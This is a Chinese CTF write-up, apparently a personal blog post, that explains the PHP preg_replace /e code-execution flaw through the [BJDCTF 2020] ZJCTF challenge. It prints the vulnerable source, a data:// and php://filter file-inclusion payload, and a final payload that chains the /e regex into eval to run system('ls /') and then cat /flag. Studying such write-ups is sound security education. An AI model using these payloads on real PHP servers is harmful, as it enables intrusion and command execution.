preg_replace的/e模式

/e模式

/e 修饰符(在 PHP < 7.0 中有效),表示将替换字符串作为 PHP 代码执行,但是这里第二个参数是不可变的,但因为有这种特殊情况,正则表达式模式或部分模式两边添加圆括号会将相关匹配存储到一个临时缓存区,并且从1开始排序

例题[BJDCTF 2020]ZJCTF,不过如此

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>

需要text参数值等于I have a dream,可以利用data伪协议,file的值利用filte伪协议读取next.php

payload

1
?text=data://text/plain,I%20have%20a%20dream&file=php://filter/read=convert.base64-encode/resource=next.php

image-20260602195706689

解码得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

这里的漏洞出现在/e模式下

/e 修饰符(在 PHP < 7.0 中有效),表示将替换字符串作为 PHP 代码执行,但是这里第二个参数是不可变的,但因为有这种特殊情况,正则表达式模式或部分模式两边添加圆括号会将相关匹配存储到一个临时缓存区,并且从1开始排序,而strtolower(“\1”)正好表达的就是匹配区的第一个(\\1=\1),从而我们如果匹配可以,则可以将函数实现

比如我们传入 ?.*={${phpinfo()}}

原句

1
preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str); 

变成

1
preg_replace('/(' .* ')/ei','strtolower("\\1")',{${phpinfo()}});

又因为$_GET传入首字母是非法字符是会把.改成下划线,因此能够将\.*换成\s*

payload

1
?\S*=${getFlag()}&cmd=system('ls /'); 

看到flag文件后进行cat /flag


preg_replace的/e模式
https://colourful228.github.io/2026/06/02/preg-replace的-e模式/
作者
Colourful
发布于
2026年6月2日
更新于
2026年6月2日
许可协议